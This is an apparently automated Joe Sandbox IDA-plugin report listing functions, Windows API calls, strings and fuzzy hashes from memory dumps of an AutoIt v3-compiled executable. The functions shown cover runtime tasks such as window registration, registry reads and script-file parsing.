Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: MessageTimerWindow$CreateKillMenuPopupPostProcQuitRegister
String ID: 0$$$0$$$TaskbarCreated
API String ID: 129472671-621057671
Opcode ID: acd5054471446eb338446a3259c9b4846a1c29264318ee9a527451709b7cb34e
Instruction ID: 1535ebc7a3759368c422e0e2784bdb624c330f14b10df1cef807656fcbcd59b2
Opcode Fuzzy Hash: acd5054471446eb338446a3259c9b4846a1c29264318ee9a527451709b7cb34e
Instruction Fuzzy Hash: 7A4148B5214241FBDB2C2F78EC0EBB93A75E715310F808225F5398A2A1CB749B05B711

Uniqueness

Uniqueness Score: -1.00%

Function 001735AB Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 53
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSysColorBrush.USER32(0000000F), ref: 001735DE
RegisterClassExW.USER32(00000030), ref: 00173608
RegisterWindowMessageW.USER32(TaskbarCreated), ref: 00173619
InitCommonControlsEx.COMCTL32(?), ref: 00173636
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 00173646
LoadIconW.USER32(000000A9), ref: 0017365C
ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 0017366B

Strings

0, xrefs: 001735C0
TaskbarCreated, xrefs: 0017360E
AutoIt v3 GUI, xrefs: 001735FA
+, xrefs: 001735C7

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: IconImageList_Register$BrushClassColorCommonControlsCreateInitLoadMessageReplaceWindow
String ID: +$0$AutoIt v3 GUI$TaskbarCreated
API String ID: 2914291525-1005189915
Opcode ID: f857cf2ecef503221fdd18f73a161714e206bd5391848a3a21040da065a266f9
Instruction ID: 2a398fee4b1dd427ff2adb08ed4317daa0c808c9c90b147f5dd7902192374a14
Opcode Fuzzy Hash: f857cf2ecef503221fdd18f73a161714e206bd5391848a3a21040da065a266f9
Instruction Fuzzy Hash: E621E2B9902308EFDB009FE5E889B9DBBB4FB09700F10411AF515A62A1D7B445458F91

Uniqueness

Uniqueness Score: -1.00%

Function 001B09FB Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 272
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 001B073A: CreateFileW.KERNELBASE(00000000,00000000,?,001B0AA4,?,?,00000000,?,001B0AA4,00000000,0000000C), ref: 001B0757

GetLastError.KERNEL32 ref: 001B0B0F
__dosmaperr.LIBCMT ref: 001B0B16
GetFileType.KERNELBASE(00000000), ref: 001B0B22
GetLastError.KERNEL32 ref: 001B0B2C
__dosmaperr.LIBCMT ref: 001B0B35
CloseHandle.KERNEL32(00000000), ref: 001B0B55
CloseHandle.KERNEL32(?), ref: 001B0C9F
GetLastError.KERNEL32 ref: 001B0CD1
__dosmaperr.LIBCMT ref: 001B0CD8

Strings

H, xrefs: 001B0C5D

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: ErrorLast__dosmaperr$CloseFileHandle$CreateType
String ID: H
API String ID: 4237864984-2852464175
Opcode ID: 4f8c2be8495621b3d288945b1cdebab834214baafd9a8e90d1b69807f338557e
Instruction ID: 19c4eac10314e96cadc64f764dabebbce25ae5065e3e8f104e5d9f1a3f9f23f2
Opcode Fuzzy Hash: 4f8c2be8495621b3d288945b1cdebab834214baafd9a8e90d1b69807f338557e
Instruction Fuzzy Hash: B9A12736A042049FDF1AAFB8D896BEE7BA0EB1A324F14015DF815DB2D1DB309953CB51

Uniqueness

Uniqueness Score: -1.00%

Function 0017522E Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 201
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0017551B: GetModuleFileNameW.KERNEL32(00000000,?,00007FFF,?,?,001B4B50,?,?,00000100,00000000,00000000,CMDLINE,?,?,00000001,00000000), ref: 00175539

Part of subcall function 001751BF: GetFullPathNameW.KERNEL32(?,00007FFF,?,?), ref: 001751E1

RegOpenKeyExW.KERNELBASE(80000001,Software\AutoIt v3\AutoIt,00000000,00000001,?,?,\Include\), ref: 0017534B
RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,00000000,?), ref: 001B4BD7
RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,?,?,00000000), ref: 001B4C18
RegCloseKey.ADVAPI32(?), ref: 001B4C5A
_wcslen.LIBCMT ref: 001B4CC1
_wcslen.LIBCMT ref: 001B4CD0

Strings

\Include\, xrefs: 00175308
\, xrefs: 001B4CD6
Software\AutoIt v3\AutoIt, xrefs: 00175341
Include, xrefs: 001B4BCE, 001B4C0F

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: NameQueryValue_wcslen$CloseFileFullModuleOpenPath
String ID: Include$Software\AutoIt v3\AutoIt$\$\Include\
API String ID: 98802146-2727554177
Opcode ID: be43573cf3b2c177ef0a8cb4e4ee57c88c9bc4fe81b5a5112c6e18fb8e5d01b3
Instruction ID: 719d5f4256833686e6c29d29b52d80db8d95f650d7606ed2fd99c67826d76897
Opcode Fuzzy Hash: be43573cf3b2c177ef0a8cb4e4ee57c88c9bc4fe81b5a5112c6e18fb8e5d01b3
Instruction Fuzzy Hash: B6718C715053009FC714EF65E8899ABBFF8FFAA750F40446EF449871A2EB709A48CB91

Uniqueness

Uniqueness Score: -1.00%

Function 0017345A Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 63
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSysColorBrush.USER32(0000000F), ref: 00173465
LoadCursorW.USER32(00000000,00007F00), ref: 00173474
LoadIconW.USER32(00000063), ref: 0017348A
LoadIconW.USER32(000000A4), ref: 0017349C
LoadIconW.USER32(000000A2), ref: 001734AE
LoadImageW.USER32(00000063,00000001,00000010,00000010,00000000), ref: 001734C6
RegisterClassExW.USER32(?), ref: 00173517

Part of subcall function 001735AB: GetSysColorBrush.USER32(0000000F), ref: 001735DE
Part of subcall function 001735AB: RegisterClassExW.USER32(00000030), ref: 00173608
Part of subcall function 001735AB: RegisterWindowMessageW.USER32(TaskbarCreated), ref: 00173619
Part of subcall function 001735AB: InitCommonControlsEx.COMCTL32(?), ref: 00173636
Part of subcall function 001735AB: ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 00173646
Part of subcall function 001735AB: LoadIconW.USER32(000000A9), ref: 0017365C
Part of subcall function 001735AB: ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 0017366B

Strings

#, xrefs: 001734ED
AutoIt v3, xrefs: 00173506
0, xrefs: 001734E6

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: Load$Icon$ImageRegister$BrushClassColorList_$CommonControlsCreateCursorInitMessageReplaceWindow
String ID: #$0$AutoIt v3
API String ID: 423443420-4155596026
Opcode ID: 16de36782d0e59904e4753d09fdcb2a549f0f07d451ad1f1bd1708f3c3d2ffd7
Instruction ID: 7a56b911b2e7235871607a691861258c65ff9b11eda235cf5bbcd041ffa57066
Opcode Fuzzy Hash: 16de36782d0e59904e4753d09fdcb2a549f0f07d451ad1f1bd1708f3c3d2ffd7
Instruction Fuzzy Hash: 43215078D01314EBDB109FA6FC4DBA9BFB8FB09B50F40405AF504A62A1D3B94589CF90

Uniqueness

Uniqueness Score: -1.00%

Function 0017CA50 Relevance: 16.3, APIs: 1, Strings: 8, Instructions: 587COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 0017CE8E

Strings

p5$, xrefs: 0017CC1C
x3$, xrefs: 001C14D1
p3$, xrefs: 0017CDB2
p3$, xrefs: 001C15B8
p3$, xrefs: 001C15CC
x3$, xrefs: 001C1570
p5$, xrefs: 0017CE72
p3$, xrefs: 0017CEAB

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: Init_thread_footer
String ID: p3$$p3$$p3$$p3$$p5$$p5$$x3$$x3$
API String ID: 1385522511-1470810328
Opcode ID: 7a9a4ce36e3248d78d938b3f062e807592959fd9a36ea83b7892c8993e11de44
Instruction ID: fad5bfd8462335854e2be89ea95d86992d897e982f3a565c888f83180ed47b32
Opcode Fuzzy Hash: 7a9a4ce36e3248d78d938b3f062e807592959fd9a36ea83b7892c8993e11de44
Instruction Fuzzy Hash: EE328D75A00205AFDB28CF58C885FBABBB5EF56354F25805DE809AB252C774EE41CBD0

Uniqueness

Uniqueness Score: -1.00%

Function 00173AA3 Relevance: 16.3, APIs: 3, Strings: 6, Instructions: 532
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00177953: FindCloseChangeNotification.KERNELBASE(?,?,00000000,001B3A1C), ref: 00177973

Part of subcall function 00176E52: CreateFileW.KERNELBASE(?,80000000,00000007,00000000,00000003,00000080,00000000,?,?,?,00173B33,?,00008000), ref: 00176E80

SetCurrentDirectoryW.KERNELBASE(?,?,?,?,00000000), ref: 00173C17
_wcslen.LIBCMT ref: 00173C96
SetCurrentDirectoryW.KERNEL32(?), ref: 00173D81

Strings

#include depth exceeded. Make sure there are no recursive includes, xrefs: 001B413C
EA06, xrefs: 001B41B4
AU3!, xrefs: 00173BC8
Error opening the file, xrefs: 001B4509, 001B4570
Unterminated string, xrefs: 001B4554
Bad directive syntax error, xrefs: 001B44E2

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: CurrentDirectory$ChangeCloseCreateFileFindNotification_wcslen
String ID: #include depth exceeded. Make sure there are no recursive includes$AU3!$Bad directive syntax error$EA06$Error opening the file$Unterminated string
API String ID: 2701412040-3738523708
Opcode ID: 66ea8c92fa53fbc390cdbdb9d8b9e57b186c76e64486fbe1c5d3f3536243fafc
Instruction ID: ede193de2bf07a27c076159a4b3fdf223442149fcb71cc83abaf79a449e82a81
Opcode Fuzzy Hash: 66ea8c92fa53fbc390cdbdb9d8b9e57b186c76e64486fbe1c5d3f3536243fafc
Instruction Fuzzy Hash: A022B1705083409FC725EF64C881AAFBBF5BFA9314F14891DF499932A2DB70DA48DB52

Uniqueness

Uniqueness Score: -1.00%

Function 0017F680 Relevance: 15.4, APIs: 2, Strings: 6, Instructions: 1414COMMON

Download Yara Rule

Strings

D5$, xrefs: 0017FB61
D5$, xrefs: 0017F890
D5$, xrefs: 001C45E0
Variable must be of type 'Object'., xrefs: 001C486A
D5$, xrefs: 001C458D
D5$D5$, xrefs: 0017F92E

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID:
String ID: D5$$D5$$D5$$D5$$D5$D5$$Variable must be of type 'Object'.
API String ID: 0-3565641341
Opcode ID: 9206ac18e26757af5d808a64ab4bda9d9fc48430c428f74abbd09569fec70023
Instruction ID: 0aefba1ed7a983f28d77d18fe56ad5a6c3fdde1220b683af50d3e6bea4f38c54
Opcode Fuzzy Hash: 9206ac18e26757af5d808a64ab4bda9d9fc48430c428f74abbd09569fec70023
Instruction Fuzzy Hash: A8C28975A00205DFCB24CF98C884BAEB7B1BF19310F25816DE959AB361D771ED82CB91

Uniqueness

Uniqueness Score: -1.00%

Function 001802F0 Relevance: 15.2, APIs: 3, Strings: 5, Instructions: 1236COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 001815A2

Strings

D5$, xrefs: 001C5F9D
D5$, xrefs: 00180A1A
D5$, xrefs: 001C5FF1
D5$D5$, xrefs: 0018070B
D5$, xrefs: 00180667

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: Init_thread_footer
String ID: D5$$D5$$D5$$D5$$D5$D5$
API String ID: 1385522511-2819346438
Opcode ID: d46ae72c85fa403912c87d52a5bb3949ab4ce935c933e03029aec2583f0ae973
Instruction ID: c56c999746acb3c8d5c0158ef10c2257b404eef64c8b7aa7010c62a9143c6e57
Opcode Fuzzy Hash: d46ae72c85fa403912c87d52a5bb3949ab4ce935c933e03029aec2583f0ae973
Instruction Fuzzy Hash: EFB2AB75A08300CFDB69EF18C480A2AB7E1BF99310F25895DE9858B351D771EE85CF92

Uniqueness

Uniqueness Score: -1.00%

Function 00172A52 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 332
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

mciSendStringW.WINMM(close all,00000000,00000000,00000000), ref: 00172A9B
OleUninitialize.OLE32(?,00000000), ref: 00172B3A
UnregisterHotKey.USER32(?), ref: 00172D1F
DestroyWindow.USER32(?), ref: 001B39F5
FreeLibrary.KERNEL32(?), ref: 001B3A5A
VirtualFree.KERNEL32(?,00000000,00008000), ref: 001B3A87

Strings

close all, xrefs: 00172A96

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: Free$DestroyLibrarySendStringUninitializeUnregisterVirtualWindow
String ID: close all
API String ID: 469580280-3243417748
Opcode ID: 645bc2705f911f438fd957e972b8c59215f840c8fa0daad2ba19541fc29c82fa
Instruction ID: fa8bf4482e234e1198acc69e9a1b3c6ac7d74f784e327c8abb92f3815a149d1a
Opcode Fuzzy Hash: 645bc2705f911f438fd957e972b8c59215f840c8fa0daad2ba19541fc29c82fa
Instruction Fuzzy Hash: FFD13C317012128FCB29EF65C599B69F7B4BF15710F2581ADE85AAB252CB31ED22CF40

Uniqueness

Uniqueness Score: -1.00%

Function 001E874A Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 230
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 001E8907
SetCurrentDirectoryW.KERNELBASE(?), ref: 001E891B
GetFileAttributesW.KERNEL32(?), ref: 001E8945
SetFileAttributesW.KERNELBASE(?,00000000), ref: 001E895F
SetCurrentDirectoryW.KERNEL32(?), ref: 001E8971
SetCurrentDirectoryW.KERNEL32(?), ref: 001E89BA
SetCurrentDirectoryW.KERNELBASE(?,?,?,?,?), ref: 001E8A0A

Strings

*.*, xrefs: 001E89C0

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: CurrentDirectory$AttributesFile
String ID: *.*
API String ID: 769691225-438819550
Opcode ID: d37636dc8fe087a5dec67326a73fec1f019ccc73d9d10a2f3ebdedbc2b431476
Instruction ID: 01a87b0c62889b8330254502bc7ca3712a46db4674691341adbe7cd6971d1de0
Opcode Fuzzy Hash: d37636dc8fe087a5dec67326a73fec1f019ccc73d9d10a2f3ebdedbc2b431476
Instruction Fuzzy Hash: A281D2729047809FCB24EF66C484AAEB3E9BF94310F54881EF88DD7251EB34D945CB92

Uniqueness

Uniqueness Score: -1.00%

Function 001A90D5 Relevance: 13.8, APIs: 9, Instructions: 300
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6e615818a0636188e8ed546e7e3d589af50c2ea4ffa42a7e9a511d270722e107
Instruction ID: 01338de98bd5159cb2cdd6c36b39f6bf857e8b0ba8481396e629df005e1e53ff
Opcode Fuzzy Hash: 6e615818a0636188e8ed546e7e3d589af50c2ea4ffa42a7e9a511d270722e107
Instruction Fuzzy Hash: C8C1D2B8E04349AFDF11DFA8D845BADBBB4BF1B310F144199E914A7392C7349982CB61

Uniqueness

Uniqueness Score: -1.00%

Function 00172735 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 153
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00173205: MapVirtualKeyW.USER32(0000005B,00000000), ref: 00173236
Part of subcall function 00173205: MapVirtualKeyW.USER32(00000010,00000000), ref: 0017323E
Part of subcall function 00173205: MapVirtualKeyW.USER32(000000A0,00000000), ref: 00173249
Part of subcall function 00173205: MapVirtualKeyW.USER32(000000A1,00000000), ref: 00173254
Part of subcall function 00173205: MapVirtualKeyW.USER32(00000011,00000000), ref: 0017325C
Part of subcall function 00173205: MapVirtualKeyW.USER32(00000012,00000000), ref: 00173264

Part of subcall function 0017318C: RegisterWindowMessageW.USER32(00000004,?,00172906), ref: 001731E4

GetStdHandle.KERNEL32(000000F6,00000000,00000000), ref: 001729AC
OleInitialize.OLE32 ref: 001729CA
CloseHandle.KERNEL32(00000000,00000000), ref: 001B39E7

Strings

0$$, xrefs: 001729D0
$$, xrefs: 001727AC
@($, xrefs: 00172906
(&$, xrefs: 001728D4

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: Virtual$Handle$CloseInitializeMessageRegisterWindow
String ID: (&$$0$$$@($$$$
API String ID: 1986988660-1124607636
Opcode ID: e696c5015be30c1614cd73be0c6fdc81f425128af92853c6c1f112f61d6b2c85
Instruction ID: 42f84d808c21775b98b632eb2e953b999bea91aa645731cbd743a5dfb672f825
Opcode Fuzzy Hash: e696c5015be30c1614cd73be0c6fdc81f425128af92853c6c1f112f61d6b2c85
Instruction Fuzzy Hash: 5E7169B8921244CEC388EF6BBD6D6193AF5FB5A3047D0812AF519C72A2EB70445DCF64

Uniqueness

Uniqueness Score: -1.00%

Function 0017353A Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 44
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,00000000,00000001), ref: 00173568
CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,00000000), ref: 00173589
ShowWindow.USER32(00000000,?,?,?,?,?,?,001732EF,?), ref: 0017359D
ShowWindow.USER32(00000000,?,?,?,?,?,?,001732EF,?), ref: 001735A6

Strings

edit, xrefs: 00173583
AutoIt v3, xrefs: 00173560, 00173565, 00173566

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: Window$CreateShow
String ID: AutoIt v3$edit
API String ID: 1584632944-3779509399
Opcode ID: e1f0d94bf3e55f10cf5a8e8541f61fc55e3c4100c366ee8599de2c34aa28b7c1
Instruction ID: da0d61bf95f35b76be75021da520beaf99b052c533f0920c920197af56395d67
Opcode Fuzzy Hash: e1f0d94bf3e55f10cf5a8e8541f61fc55e3c4100c366ee8599de2c34aa28b7c1
Instruction Fuzzy Hash: 65F03A78600394BAE7310B537C0CF372EBDDBC7F50B40005EB904A71A0C2691899DAB0

Uniqueness

Uniqueness Score: -1.00%

Function 001755F8 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 58registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNELBASE(80000001,Control Panel\Mouse,00000000,00000001,00000000,?,?,80000001,80000001,?,001755EB,SwapMouseButtons,00000004,?), ref: 0017561C
RegQueryValueExW.KERNELBASE(00000000,00000000,00000000,00000000,?,?,?,?,?,80000001,80000001,?,001755EB,SwapMouseButtons,00000004,?), ref: 0017563D
RegCloseKey.KERNELBASE(00000000,?,?,?,80000001,80000001,?,001755EB,SwapMouseButtons,00000004,?), ref: 0017565F

Strings

Control Panel\Mouse, xrefs: 0017561A

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID: Control Panel\Mouse
API String ID: 3677997916-824357125
Opcode ID: 874911dec09df82e581f0019f0f253af2803cb218453ab0d66f3a57f1039db15
